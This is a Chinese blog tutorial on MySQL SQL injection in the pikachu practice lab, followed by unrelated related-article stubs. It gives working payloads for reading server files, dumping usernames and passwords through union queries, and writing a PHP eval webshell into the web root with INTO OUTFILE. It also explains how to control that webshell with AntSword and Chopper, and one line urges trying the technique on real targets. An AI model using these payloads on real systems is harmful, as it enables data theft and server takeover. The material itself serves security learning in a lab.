【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

前言

本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程;

如果想要学习SQL注入原理以及如何进行SQL注入,我也写了一篇详细的SQL注入方法及原理链接如下

【超详细】你知道什么是SQL注入吗?直到如何通过SQL注入来控制目标服务器吗?一篇文章教你sql注入漏洞的原理及方法----sql注入【上】_ANii_Aini的博客-CSDN博客SQL注入漏洞详解。包括原理,分类比如数字型,字符型,搜索型,xx型,宽字节注入,报错注入,盲注,有无回显等,各种注入payload以及产生原因等等https://blog.csdn.net/m0_67844671/article/details/133031125

一,SQL注入读取文件或数据库数据

(主要用pikachu靶场演示)

1-1 读取文件数据

前提条件

## 1、通过信息收集获取到想要读取的目标文件的真实物理路径
## 2、mysql开启了secure_file_priv这个配置

如何开启mysql的secure_file_priv这个配置呢? 

找个空白地方协商这个配置即可

 然后重启mysql服务即可生效。 

读取文件借助mysql自带的功能函数load_file

比如我们先在根目录写一个文件aini.txt的文件

现在要读取这个文件 (根路径为C:\tools\phpstudy\PHPTutorial\WWW)

先用终端演示,用物理机终端连上靶机的数据库

先授权,在靶机打开数据库命令行

 先输入密码进入数据库终端,然后授权远程主机登录

授权代码行解释:

grant all   ---------- 表示给予所有权限

on  x.x    ----------- 所有库所有表

(pikachu.*表示piakchu所有表,pikachu.user表示只能操作pikachu库的user表)

to root@192.168.31.% ------- 表示可以以root用户的身份在192.168.31段主机上登录

indentified by 'aini'  登录的验证密码为 'aini'

授权完就可以用物理机终端进入,如果不想用物理机的也可以直接在靶机上操作 

读取文件的代码(用load_file函数,别忘了用\对路径里的\进行转义) 

 select load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");

 测试union联合查询语句

 select id,email from member where username = 'vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");

 用网站SQL注入漏洞去注入 (以pikachu靶场为例

payload为

vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");#

通过联合查询,成功读取到了服务器文件 

1-2 读取数据库数据

1-2-1 判断查询的字段个数

' order by 1,2,3--+  #报错,表示字段个数小于3个,那么减少一个字段来尝试
' order by 1,2--+    #不报错,表示字段个数为2个,如果还报错,那么继续减少一个来尝试' order by 1,2#
' order by 1,2,3#

payload为 

vine' order by 1,2,3;#

表示位置的列数3,表名3是多余的,后端查询语句中不是三个字段,那就改payload,改为如下 

vince' order by 1,2;#

表示,这个字符型注入的查询,后台select语句后面查询的是2个字段数据,那么我们就知道,通过union联合查询的时候,查询的数据是2个字段数据了。

 1-2-2 查询当前数据库名、用户名、版本等信息

' union select user(),version();#

 1-2-3 获取mysq所有库名

' union select 1,group_concat(schema_name) from information_schema.schemata;# 
## 浏览器地址栏要URL编码,表单直接#或者 -- 就可以
' union select 1,group_concat(schema_name) from information_schema.schemata;#
#和 --  mysql的注释符号 (注意--前面有空格)

1-2-4 获取pikachu库的所有表名

' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

1-2-5 获取表中的字段名

' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273;#

 1-2-6 获取所有字段数据

' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users;#

## 其中0x7c表示|,我这里就是为了通过|来拼接每个数据。group_concat类似于concat,也是做字符串拼接的,是MySQL的一个内置函数 

 1-3 getshell

1-3-1 木马利用试验

1-1 准备木马

首先在站点根目录创建一个aini.php文件,写入一句话木马

<?php @eval($_POST['aini']);?>   ------  注意里面写的 aini 是连接密码,可以任意指定

1-2 用工具连接木马 

## 菜刀、蚁剑、冰蝎、哥斯拉四大木马利用神器,现在推荐冰蝎和蚁剑,功能更好一些,如果需要工具可以留言

用蚁剑 进行连接

注意连接密码是写一句话木马的时候 指定的连接密码

写好了以后点击测试连接,然后点击右上角添加即可

 双击就就可以成功拿到对方服务器了

 右击还有很多别的功能,数据库操作,文件操作等,不细讲了

以后专门写一篇博客介绍这些一句话木马利用工具的利用过程

接下来用菜刀这款工具使一下 

右击添加也行,编辑也行

填写地址和连接木马以后点右下角‘编辑’即可

 双击就可以拿到对方服务器了

 

 这就是一句话木马的简单利用

1-3-2 通过注入点进行木马注入

2-1 通过注入点写入木马程序的前提条件

1. mysql开启了secure_file_priv=""的配置 ---- 如何开启前面讲过了
2. 要知道网站代码的真实物理路径 ---------- 需要信息收集,通过别的方法来直到真实路径
3. 物理路径具备写入权限 ----------- 要不然木马写不进去
4. 最好是mysql的root用户,这个条件非必须,但是有最好

2-2 通过注入点写入木马程序
' union select "<?php @xx($_POST['aini']);?>",2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\muma.php";#' union select "<?php @eval($_POST['aini']);?>",2 into outfile "C:\\tools\\phpStudy\\PHPTutorial\\WWW\\muma.php";### xx表示eval,因为直接写eval,我们的这个md文档会被杀软杀掉的。

我用第二条payload 向根路径写入了一个muma.php文件 

报了个warning,不过我们去看一下靶机根路径,有没有写入成功

 写入成功了

 我们用工具利用一下看看

 成功了,所以在真实SQL注入环境中,看看能不能通过注入一句户木马来控制目标主机

2-3 获得后台真实物理路径的方法

## 1、收集站点敏感目录,比如phpinfo.php探针文件是否可以访问到
## 2、站点网址输入一些不存在的网址或者加一些非法参数数据,让网站报错,看错误信息中是否存在路径信息3、指纹信息收集
    ## nginx默认站点目录: /usr/share/nginx/html,配置文件路径:/etc/nginx/nginx.conf
    ## apache默认站点目录:/var/www/html
    ...
## 4、通过站点其他漏洞来获取配置信息、真实物理路径信息,比如如果发现远程命令执行漏洞(后面会讲到各种其他漏洞),针对php的站点,直接执行一个phpinfo()函数,可以看到phpinfo.php所展示的各种信息等等。
## 5、其他思路,反正就是不断的尝试。

mysql数据库的SQL注入就分享到这里,如果需要靶场环境或者工具可以留言

若有不懂的地方可以留言,欢迎技术交流

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/149660.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

JMeter性能测试

性能测试前言 老师开局一句话&#xff1a;性能测试和你会不会JMeter一点关系没有…… 作者坚持技多不压身的原则&#xff0c;还是多学一点JMeter吧&#xff0c;看老师到底要怎么讲下去&#xff0c;什么并发量、吞吐量啥的…… 性能测试的核心思想&#xff1a;在于创造大量并发去…

[NSSRound#1 Basic]sql_by_sql - 二次注入+布尔盲注||sqlmap

进入注册界面后   假设sql&#xff1a;update user set password ‘’ where username ‘’ and password ‘’     此时如果我们注册的用户名是admin’–、admin’#、admin’–的话   update user set password ‘123’ where username ‘admin’#’ and passwor…

Hive SQL初级练习(30题)

前言 Hive 的重要性不必多说&#xff0c;离线批处理的王者&#xff0c;Hive 用来做数据分析&#xff0c;SQL 基础必须十分牢固。 环境准备 建表语句 这里建4张表&#xff0c;下面的练习题都用这些数据。 -- 创建学生表 create table if not exists student_info(stu_id st…

第七章 查找 八、B树

目录 一、定义 二、B树的核心特性 1、B树各个结点的子树数和关键字数 2、子树高度 3、关键字的值 4、B树高度 三、B树的插入 四、B树的删除 一、定义 B树&#xff0c;又称多路平衡查找树&#xff0c;B树中所有结点的孩子个数的最大值称为B树的阶&#xff0c;通常用m表示…

Gorsonpy的计算器

Gorsonpy的计算器 0.页面及功能展示1. PSP表格2.解题思路描述3.设计实现过程4.程序性能改进5.异常处理6.单元测试展示7.心路历程和收获 这个作业属于哪个课程https://bbs.csdn.net/forums/ssynkqtd-05这个作业要求在哪里https://bbs.csdn.net/topics/617294583这个作业的目标完…

基于JavaWeb技术的在线考试系统设计与实现

目录 前言 一、技术栈 二、系统功能介绍 用户信息管理 考试统计管理 专业列表管理 忘记密码人员登记管理 修改密码 试卷信息 考试信息管理 三、核心代码 1、登录模块 2、文件上传模块 3、代码封装 前言 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理…

卷积神经网络-卷积层

卷积神经网络 卷积神经网络&#xff08;convolutional neural network&#xff0c;CNN&#xff09;是一类包含卷积计算且具有深度结构的前馈神经网络&#xff0c;是深度学习的代表算法之一。卷积神经网络具有表征学习能力&#xff0c;能够按其阶层结构对输入信息进行平移不变分…

Folium笔记:HeatMap

在地图上生成热力图 0 举例 import folium from folium.plugins import HeatMap# 创建一个地图对象 m folium.Map(location(1.34084, 103.83637), zoom_start13)# 创建一个坐标点的数据集 data [(1.431656, 103.827896),(1.424789, 103.789902),(1.325781, 103.860446),(1.…

Java编程技巧:swagger2、knif4j集成SpringBoot或者SpringCloud项目

目录 1、springbootswagger2knif4j2、springbootswagger3knif4j3、springcloudswagger2knif4j 1、springbootswagger2knif4j 2、springbootswagger3knif4j 3、springcloudswagger2knif4j 注意点&#xff1a; Api注解&#xff1a;Controller类上的Api注解需要添加tags属性&a…

NEFU数字图像处理(1)绪论

一、简介 1.1什么是数字图像 图像是三维场景在二维平面上的影像。根据其存储方式和表现形式&#xff0c;可以将图像分为模拟图像和数字图像两大类 图像处理方法&#xff1a;光学方法、电子学方法 模拟图像&#xff1a;连续的图像数字图像&#xff1a;通过对时间上和数值上连续…

Hive【Hive(六)窗口函数】

窗口函数&#xff08;window functions&#xff09; 概述 定义 窗口函数能够为每行数据划分 一个窗口&#xff0c;然后对窗口范围内的数据进行计算&#xff0c;最后将计算结果返回给该行数据。 语法 窗口函数的语法主要包括 窗口 和 函数 两个部分。其中窗口用于定义计算范围…

Seata 源码篇之AT模式启动流程 - 下 - 04

Seata 源码篇之AT模式启动流程 - 下 - 04 全局事务提交分支事务全局提交全局事务回滚分支事务全局回滚小结 本系列文章: Seata 源码篇之核心思想 - 01Seata 源码篇之AT模式启动流程 - 上 - 02Seata 源码篇之AT模式启动流程 - 中 - 03 上一篇文章&#xff0c;我们看了Seata AT…

maven 初学

1. maven 安装 配置安装 路径 maven 下载位置: D:\software\apache-maven-3.8.6 默认仓库位置: C:\Users\star-dream\.m2\repository 【已更改】 本地仓库设置为&#xff1a;D:\software\apache-maven-3.8.6\.m2\repository 镜像已更改为阿里云中央镜像仓库 <mirrors>…

数据结构与算法(一):概述与复杂度分析

参考引用 Hello 算法 Github 仓库&#xff1a;hello-algo 1. 初识算法 1.1 算法无处不在 1.1.1 二分查找&#xff1a;查阅字典 在字典里&#xff0c;每个汉字都对应一个拼音&#xff0c;而字典是按照拼音字母顺序排列的。假设我们需要查找一个拼音首字母为 r 的字&#xff0…

常见的软件脱壳思路

单步跟踪法 1.本方法采用OD载入。 2.跟踪F8&#xff0c;实现向下的跳。 3.遇到程序回跳按F4。 4.绿色线条表示跳转没实现&#xff0c;不用理会&#xff0c;红色线条表示跳转已经实现&#xff01; 5.刚载入程序有一个CALL的&#xff0c;我们就F7跟进去&#xff0c;不然程序很容…

AUTOSAR通信篇 - CAN网络通信(六:CanNm)

文章目录 功能介绍协调算法工作模式网络模式Repeat Message State&#xff08;重复消息状态&#xff09;Normal Operation State&#xff08;正常运行/工作状态&#xff09;Ready Sleep State&#xff08;就绪睡眠状态&#xff09; Prepare Bus Sleep Mode&#xff08;预休眠模…

新款UI动态壁纸头像潮图小程序源码

新款UI动态壁纸头像潮图小程序源码&#xff0c;不需要域名服务器&#xff0c;直接添加合法域名&#xff0c;上传发布就能使用。 可以对接开通流量主&#xff0c;个人也能运营&#xff0c;不需要服务器源码完整。整合头像&#xff0c;动态壁纸&#xff0c;文案功能齐全。 源码…

H5移动端购物商城系统源码 小型商城全新简洁风格全新UI 支持易支付接口

一款比较简单的 H5 移动端购物商城系统源码&#xff0c;比较适合单品商城、小型商城使用。带有易支付接口。 源码下载&#xff1a;https://download.csdn.net/download/m0_66047725/88391704 源码下载2&#xff1a;评论留言或私信留言

微服务的初步使用

环境说明 jdk1.8 maven3.6.3 mysql8 idea2022 spring cloud2022.0.8 微服务案例的搭建 新建父工程 打开IDEA&#xff0c;File->New ->Project&#xff0c;填写Name&#xff08;工程名称&#xff09;和Location&#xff08;工程存储位置&#xff09;&#xff0c;选…

arm代码

RISC精简指令集 长度和执行周期固定 长度为一条机器指令在计算机占用的内存大小 指令周期为CPU执行一条机器指令所发费的时间(时钟周期由CPU工作频率决定) CISC复杂指令集 其架构一般用于PC端 X86和X64都是负载指令集CPU 更注重指令的功能性 指令周期和长度都不固定 ar…